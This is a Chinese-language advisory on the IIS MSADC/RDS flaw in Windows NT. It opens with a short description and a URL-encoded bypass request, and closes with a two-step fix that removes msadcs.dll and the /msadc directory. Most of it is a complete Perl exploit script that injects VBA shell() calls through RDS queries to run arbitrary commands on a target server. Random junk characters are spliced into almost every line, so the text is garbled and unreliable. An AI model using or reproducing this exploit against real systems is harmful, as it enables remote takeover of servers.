IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
h%U}Y5Ps~ 5 w(nttYH 涉及程序：
EK=
y!> Microsoft NT server
> 23$_'2 \-pqqSy 描述：
3dSb!q0&N 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(i L*1f 8v z h5,U 详细：
D Qz+t 如果你没有时间读详细内容的话，就删除:
J /fnSy c:\Program Files\Common Files\System\Msadc\msadcs.dll
@I}VD\pF 有关的安全问题就没有了。
=&6sU{j* .%y'q!? 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
IIT UM) 41R6V>e@9J 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
?"*JV1 9 关于利用ODBC远程漏洞的描述，请参看:
|_ +#&x AT)b/ycC http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $|xSM2 n\)1Bz 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
<}:` Y" http://www.microsoft.com/security/bulletins/MS99-025faq.asp z 3]W # d!w3LwZ 这里不再论述。
u7^(?"x ~+j2a3rv-{ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
P3 `$4p? 0PqI^|! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
qEuO@oE 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
&e6UEG {1Y @%e od {\z #将下面这段保存为txt文件，然后: "perl -x 文件名"
0
zK{)HZ q8&l%-d` #!perl
xu_,0 ZT]{ #
' B{FRK # MSADC/RDS 'usage' (aka exploit) script
3:MJKS02OD #
A+!,{G # by rain.forest.puppy
WPkKb F #
`<yQ`Y_X # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
I ^m # beta test and find errors!
ax>j3HKi 5wmd[YL use Socket; use Getopt::Std;
#GLW3 } getopts("e:vd:h:XR", \%args);
5?F5xiW t[J=8rhER print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
oz>2P.7 M,S'4Sz uk if (!defined $args{h} && !defined $args{R}) {
$%q=tn'EX print qq~
nX 9]dz Usage: msadc.pl -h <host> { -d <delay> -X -v }
(5 @H -h <host> = host you want to scan (ip or domain)
v+"4YI N -d <seconds> = delay between calls, default 1 second
! ig& 8: -X = dump Index Server path table, if available
J C%&d1
-v = verbose
Lj(cCtb) -e = external dictionary file for step 5
s :7/\h h Fik>B#! Or a -R will resume a command session
0W}qp?
Vn4wk>b}$2 ~; exit;}
7]xDMu'^&f r":anR( ; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?9a%g\`?: if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Kc?4q= 7q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^L5-2;s<U' if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
3q}j"x? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
f C x ( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\OA{&G. VO8rd>b4 if (!defined $args{R}){ $ret = &has_msadc;
jOVF+9M die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
EC;>-s Cp(2]Eb print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Nw'03Jzx_ . "cmd /c ";
;5b d<N $in=<STDIN>; chomp $in;
v8 *)^-Fx $command="cmd /c " . $in ;
i-Rn,}v ;o3gR4u_L if (defined $args{R}) {&load; exit;}
@]vY[O!&; EM*I%|n@m print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>i,_qe?V:w &try_btcustmr;
1*9.K' &K\80wGK print "\nStep 2: Trying to make our own DSN...";
tLWw< ) t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Bj1 % }B (_zlCH B print "\nStep 3: Trying known DSNs...";
A vq+s.h &known_dsn;
> <
$LV& WA8<:#{e print "\nStep 4: Trying known .mdbs...";
nFNRiDx &known_mdb;
#dj?^n g uy's eJ if (defined $args{e}){
v^b4WS+.: print "\nStep 5: Trying dictionary of DSN names...";
(tX3?[ii &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+ODua@ULFB 4}h}`KZZ print "Sorry Charley...maybe next time?\n";
yl~_~<s 6 exit;
^~;i a7V&2 "0PrdZMx ##############################################################################
W~'xJ )"pvF8JR%3 sub sendraw { # ripped and modded from whisker
k?14'X*7yu sleep($delay); # it's a DoS on the server! At least on mine...
n(J>'Z my ($pstr)=@_;
tO 8\} u4c socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*z?Uh$I4 die("Socket problems\n");
3$nK
if(connect(S,pack "SnA4x8",2,80,$target)){
o,`"*][wd select(S); $|=1;
z ~pp7 print $pstr; my @in=<S>;
Zk%@GOu\ select(STDOUT); close(S);
x/umwT,o v return @in;
`y3'v] } else { die("Can't connect...\n"); }}
yx5e Sl G v ##############################################################################
zHb [.ry~ t 1adS:)s sub make_header { # make the HTTP request
Ev5~ = ] my $msadc=<<EOT
LigB! M POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!k)6r6 User-Agent: ACTIVEDATA
#m.e9MU Host: $ip
^
~Eh+ Content-Length: $clen
F'Y ad Connection: Keep-Alive
p H y C7F Qc { ADCClientVersion:01.06
yV!4Im.> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Cy]=Y js< d"m* --!ADM!ROX!YOUR!WORLD!
HeA XZA, Content-Type: application/x-varg
dtC@cK/,D Content-Length: $reqlen
~\_VWXXvIW TlS? S+ EOT
B-Jd|UE`u ; $msadc=~s/\n/\r\n/g;
\b"rf697 , return $msadc;}
E$)| Kv^ WR)=VE ##############################################################################
{h?pvH_> &J6`Q<U! sub make_req { # make the RDS request
L/" }; VI my ($switch, $p1, $p2)=@_;
/l*v *tl my $req=""; my $t1, $t2, $query, $dsn;
^HSxE 7y'":1 if ($switch==1){ # this is the btcustmr.mdb query
R&Y_ $query="Select * from Customers where City=" . make_shell();
_J
l(:r\% $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~?F,kmO}? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&u.{]Yjx pbzFzL al elsif ($switch==2){ # this is general make table query
!4vb{AH $query="create table AZZ (B int, C varchar(10))";
0>sa{Z $dsn="$p1";}
< kK>C8+ _RbfyyaN elsif ($switch==3){ # this is general exploit table query
m^D'p $query="select * from AZZ where C=" . make_shell();
tK%ie\ $dsn="$p1";}
fjRVYOG#
OUv<a `0 elsif ($switch==4){ # attempt to hork file info from index server
pLB2! + $query="select path from scope()";
b/'bhE= $dsn="Provider=MSIDXS;";}
egaX[ j r $+*nb4 elsif ($switch==5){ # bad query
|Kd#pYt% O $query="select";
f$o^Xu $dsn="$p1";}
5*YoK)2J |p6d]#z3 $t1= make_unicode($query);
rwF$aR>9 $t2= make_unicode($dsn);
iS$[d C ?N $req = "\x02\x00\x03\x00";
>2s4BV[( $req.= "\x08\x00" . pack ("S1", length($t1));
G?W:O{n3 $req.= "\x00\x00" . $t1 ;
Rd#R}yA $req.= "\x08\x00" . pack ("S1", length($t2));
ra$:ibL N $req.= "\x00\x00" . $t2 ;
PJ.\ )oP $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
E]@&<TFq return $req;}
c{MoeIG)v@ (;l@d|g ##############################################################################
#rlgeHG!fs v~nKO?{
sub make_shell { # this makes the shell() statement
E\[B E<y return "'|shell(\"$command\")|'";}
*G58 t`]r Z1
D ##############################################################################
w]wZJ/U` {D4FYr
J sub make_unicode { # quick little function to convert to unicode
* dB eb my ($in)=@_; my $out;
]cp b; UfM for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*7!MG return $out;}
<0CjEsAB] 1q}L O2 ##############################################################################
hFIh<m=C?Y >yO/p(/;jR sub rdo_success { # checks for RDO return success (this is kludge)
V\L;EHtc$ my (@in) = @_; my $base=content_start(@in);
F!vrvlD` s if($in[$base]=~/multipart\/mixed/){
t+?Bb7p,H return 1 if( $in[$base+10]=~/^\x09\x00/ );}
b"I#\; Ym return 0;}
'UhoKb_p C]L)nCOBX ##############################################################################
hi 8q?4 jE *qpu!z2m|| sub make_dsn { # this makes a DSN for us
b'z
$S+ my @drives=("c","d","e","f");
KdEvu? print "\nMaking DSN: ";
qezWfR` foreach $drive (@drives) {
A({czHLhN5 print "$drive: ";
q[$>\Nfg>B my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
fCY|iO0.t "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
PL:(Se% . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
`^)`J $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Ik:G5m<ta return 0 if $2 eq "404"; # not found/doesn't exist
aq?bI: >8 if($2 eq "200") {
mA(kq foreach $line (@results) {
fQoAdw return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
w~]2c{\Qz } return 0;}
ZdW+=;/# %KyZ15_(-L ##############################################################################
[+[ W\6 ~>:JwTy sub verify_exists {
o]?
yyP my ($page)=@_;
v^C\
GDH my @results=sendraw("GET $page HTTP/1.0\n\n");
3p# UEH3 return $results[0];}
LK h=jB^bT ktU:Uq ##############################################################################
) 57'< x^y$ pr sub try_btcustmr {
t #(NfzN my @drives=("c","d","e","f");
st w@@GQ my @dirs=("winnt","winnt35","winnt351","win","windows");
0}i
9`p lU1SN/'zx foreach $dir (@dirs) {
e@hPb$7 print "$dir -> "; # fun status so you can see progress
:DH@zR foreach $drive (@drives) {
`gl?y;xC print "$drive: "; # ditto
yCjc5d|tT $reqlen=length( make_req(1,$drive,$dir) ) - 28;
e#}t
am $reqlenlen=length( "$reqlen" );
2f(`H SC' $clen= 206 + $reqlenlen + $reqlen;
i;HXz`vT7 Ec7xwPk my @results=sendraw(make_header() . make_req(1,$drive,$dir));
A+/Lt>+AS if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\9+,ynJH8z else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
dX?j /M- G]B0LUT6c ##############################################################################
>\JP X oIrc))j,$ sub odbc_error {
ckX8eg!f my (@in)=@_; my $base;
,88B@a my $base = content_start(@in);
_kD5pC = if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
ir^d7CV, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'bfxQ76@sa $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m0G"Aj $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xbiprhdv return $in[$base+4].$in[$base+5].$in[$base+6];}
?"b _ _(3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
wG O-Z']i print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
H;=y R]E $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Yyk~!G/@ kV8R.Baf3 ##############################################################################
i?_Q@uA~<: mLq0;uGL| sub verbose {
P~(&lu/;P my ($in)=@_;
:$Cm]RZ return if !$verbose;
!KV!Tkx h print STDOUT "\n$in\n";}
" lD -*e4 zZ}. 2He8 ##############################################################################
Wi$?k {C QmBHD;Gf sub save {
Qe~C}j% my ($p1, $p2, $p3, $p4)=@_;
#|\|G3Si
% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
5T/+pC$e= print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
{Lju7'5L close OUT;}
3\2&?VAjR >(:3H+ ##############################################################################
55v=Ij?M TrDTa y sub load {
IiKU =^~w my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
B)k/]vz)*D open(IN,"<rds.save") || die("Couldn't open rds.save\n");
! 5 S# @p=<IN>; close(IN);
DvWBvs, $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
_ ~Lu% $target= inet_aton($ip) || die("inet_aton problems");
|TJ gH<I print "Resuming to $ip ...";
[?z;'O}y $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
['(qeS@5O if($p[1]==1) {
E.#JCO|(1 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1mV
'
~W $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X' d\b}Bm my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
NiG&Lw*8 if (rdo_success(@results)){print "Success!\n";}
pTA m } else { print "failed\n"; verbose(odbc_error(@results));}}
;zqxDl _ elsif ($p[1]==3){
Vb 36R _u if(run_query("$p[3]")){
65B&>`H~ print "Success!\n";} else { print "failed\n"; }}
:MDFTw~ | elsif ($p[1]==4){
d/NjY[` 5+ if(run_query($drvst . "$p[3]")){
4gZ R!J print "Success!\n"; } else { print "failed\n"; }}
E2hM L exit;}
V^ (W)\ 5P* jGOg . ##############################################################################
319 4] QP%AJ[3ea% sub create_table {
3meZ]u my ($in)=@_;
P'}EZ' $reqlen=length( make_req(2,$in,"") ) - 28;
JNU9RxR $reqlenlen=length( "$reqlen" );
u}'m7|)8 $clen= 206 + $reqlenlen + $reqlen;
d3oRan}z my @results=sendraw(make_header() . make_req(2,$in,""));
)m-(- I return 1 if rdo_success(@results);
Z){ fie4WM my $temp= odbc_error(@results); verbose($temp);
iLdUus! return 1 if $temp=~/Table 'AZZ' already exists/;
l2#~
return 0;}
#E4oq9{0*W ^g'uR@ uU ##############################################################################
"<oR.f= 0 wKW. sZ!S1 sub known_dsn {
P EzT|uY # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
UeUOGf , my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
B_!S\?}$ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Xk^<}Ep)c "banner", "banners", "ads", "ADCDemo", "ADCTest");
"97sH_
, f`}u9!jVR foreach $dSn (@dsns) {
R]Fa?uQW
print ".";
QIwO _ [Q next if (!is_access("DSN=$dSn"));
USE! if(create_table("DSN=$dSn")){
GWx?RIKF print "$dSn successful\n";
eT F s9$ if(run_query("DSN=$dSn")){
H1 ev W print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_Wp,
z` print "Something's borked. Use verbose next time\n";}}} print "\n";}
MNfc1I_# g 6q[
I8 ##############################################################################
j1JdG<n } BP.t$_ sub is_access {
r*7J#M / my ($in)=@_;
SM}&
@cJ $reqlen=length( make_req(5,$in,"") ) - 28;
NR^Z#BU $reqlenlen=length( "$reqlen" );
&sq q+&ao $clen= 206 + $reqlenlen + $reqlen;
CS^|="Zs my @results=sendraw(make_header() . make_req(5,$in,""));
787i4h:71 my $temp= odbc_error(@results);
?r0>HvUf!l verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ylmVmHmc return 0;}
* se),CP!s UuJ gB) ##############################################################################
Dhft[mvo ]VVx2ERs sub run_query {
iA2TvP# my ($in)=@_;
]:6IW: $reqlen=length( make_req(3,$in,"") ) - 28;
5Shc$Awc! $reqlenlen=length( "$reqlen" );
(i)O@Jve $clen= 206 + $reqlenlen + $reqlen;
\a:-xwUu< my @results=sendraw(make_header() . make_req(3,$in,""));
u_=>r_J[b return 1 if rdo_success(@results);
&I(3/u my $temp= odbc_error(@results); verbose($temp);
$a')i<m^g return 0;}
y X\~ {% ;S 2/n$Ju_ ##############################################################################
CfLPs)\ACm ~\R +p~> sub known_mdb {
3k+46Wp my @drives=("c","d","e","f","g");
Mc|UD*Z my @dirs=("winnt","winnt35","winnt351","win","windows");
%yy|B my $dir, $drive, $mdb;
pr"q-S>E my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
w=" (S j?BZjC # this is sparse, because I don't know of many
6K.0dhl>`B my @sysmdbs=( "\\catroot\\icatalog.mdb",
-A8CW9|mk "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
~:A=o?V2 "\\system32\\certmdb.mdb",
4!+ IsT "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
j W|M)[KJN 9&4z4 @on my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
CJL fpvV "\\cfusion\\cfapps\\forums\\forums_.mdb",
orF 8% "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
| >p?Cm "\\cfusion\\cfapps\\security\\realm_.mdb",
62OZj%CXN "\\cfusion\\cfapps\\security\\data\\realm.mdb",
&ZP yZj "\\cfusion\\database\\cfexamples.mdb",
u_)'} "\\cfusion\\database\\cfsnippets.mdb",
k8sjW! 2 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$T'lWD * "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[{-;cpM \ "\\cfusion\\brighttiger\\database\\cleam.mdb",
K30{Fcb< h "\\cfusion\\database\\smpolicy.mdb",
5
.b U2C "\\cfusion\\database\cypress.mdb",
^paM{'J\\) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/9u12R*< "\\website\\cgi-win\\dbsample.mdb",
\g;-q9g;O "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[M.!7+$o "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_ %aJ/Y0Cy ); #these are just
P_c9v/ foreach $drive (@drives) {
.ktyA+r8v foreach $dir (@dirs){
SnW>` foreach $mdb (@sysmdbs) {
_$qH\>se print ".";
LT '2446 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
?F%,d{^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
l :VcV if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
g"v-hTx print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3hzKd_ } else { print "Something's borked. Use verbose next time\n"; }}}}}
K<w$ U{.y X7 foreach $drive (@drives) {
&Sp2['a! foreach $mdb (@mdbs) {
}W* q print ".";
lZ }H? n% if(create_table($drv . $drive . $dir . $mdb)){
B } p{$g! print "\n" . $drive . $dir . $mdb . " successful\n";
^{fA:N= if(run_query($drv . $drive . $dir . $mdb)){
O M7EmMa; print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
g~$cnU } else { print "Something's borked. Use verbose next time\n"; }}}}
nJo6 ;_MI! }
B"I^hrQ QPpC_pZh ##############################################################################
`GT{=XJfY 4Q(GX .5 sub hork_idx {
.q (1 print "\nAttempting to dump Index Server tables...\n";
D~JrO]mi print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
<@2g.+ 9 $reqlen=length( make_req(4,"","") ) - 28;
5"9 !kZ(< $reqlenlen=length( "$reqlen" );
[E|% $clen= 206 + $reqlenlen + $reqlen;
iwnFCZVS my @results=sendraw2(make_header() . make_req(4,"",""));
rXu^]CK
*G if (rdo_success(@results)){
t5WW3$Nf my $max=@results; my $c; my %d;
6{PlclI ! for($c=19; $c<$max; $c++){
qm=N@@R& $results[$c]=~s/\x00//g;
EAXbbcV $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
1$ C\ ` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
\B~}s } $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Qc]Ki3ls $d{"$1$2"}="";}
6` @4i'. foreach $c (keys %d){ print "$c\n"; }
%oE3q>S$en } else {print "Index server doesn't seem to be installed.\n"; }}
S+&Bf ~~D "_T8Km008 ##############################################################################
DF!*S{) 0_faJjTbP; sub dsn_dict {
<mdHca open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:NPnw X8w while(<IN>){
Rz9Ij L.Z $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
;/g Bjp]H next if (!is_access("DSN=$dSn"));
e 2l !L*[g if(create_table("DSN=$dSn")){
h"Dxg G print "$dSn successful\n";
1x~dsM;q if(run_query("DSN=$dSn")){
<^8&2wAkJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
GY,HEe]2r print "Something's borked. Use verbose next time\n";}}}
&!5S'J % print "\n"; close(IN);}
8%D 2G i &`IC 3O5 ##############################################################################
YE5B^sQ1 q t!0 #z8 sub sendraw2 { # ripped and modded from whisker
Ryrvu 1 k sleep($delay); # it's a DoS on the server! At least on mine...
Z f~Z&"C) my ($pstr)=@_;
Q9h;`G
7t socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#?EmC]N7 die("Socket problems\n");
48Z0aA~+ if(connect(S,pack "SnA4x8",2,80,$target)){
CDU$Gi print "Connected. Getting data";
Tweku}D7 open(OUT,">raw.out"); my @in;
w5uOkz # select(S); $|=1; print $pstr;
2Ub!wee while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
,4tuWO)" close(OUT); select(STDOUT); close(S); return @in;
>Kjl>bq } else { die("Can't connect...\n"); }}
#.^A5` k $(8CU$gi= ##############################################################################
I=G-(L/& . + sub content_start { # this will take in the server headers
Td/J6Q9 0 my (@in)=@_; my $c;
HX p $\%A) for ($c=1;$c<500;$c++) {
txp^3dZ`^ if($in[$c] =~/^\x0d\x0a/){
& 3_.k if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
qlgo#[i else { return $c+1; }}}
p,K]`pt= return -1;} # it should never get here actually
Q=~ *oYR L|H:&|F ##############################################################################
dF<GuS;l5 6./3w&D; sub funky {
qzt.k^'-^
my (@in)=@_; my $error=odbc_error(@in);
K r DG if($error=~/ADO could not find the specified provider/){
# %$U-ti print "\nServer returned an ADO miscofiguration message\nAborting.\n";
kI|7o>}< exit;}
/pS Y ~* if($error=~/A Handler is required/){
Qt`;+N( print "\nServer has custom handler filters (they most likely are patched)\n";
`!A<XiAOmM exit;}
]Ll <Z if($error=~/specified Handler has denied Access/){
{oK4
u print "\nServer has custom handler filters (they most likely are patched)\n";
|)} &: xA% exit;}}
Ufr,6IX s7> a ##############################################################################
A4>j4\A[M |s$w
i>7l sub has_msadc {
P/XCaj3a[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
' V#$P Zx my $base=content_start(@results);
zo>@"uH4 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Zt LZW/` return 0;}
{\62c;. o/ ~Rf1 ########################
3JJEj1O C!z7 sOu eN{ewn#0. 解决方案：
,z0~VS:g 8 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
=d M'n}@U
2、移除web 目录: /msadc
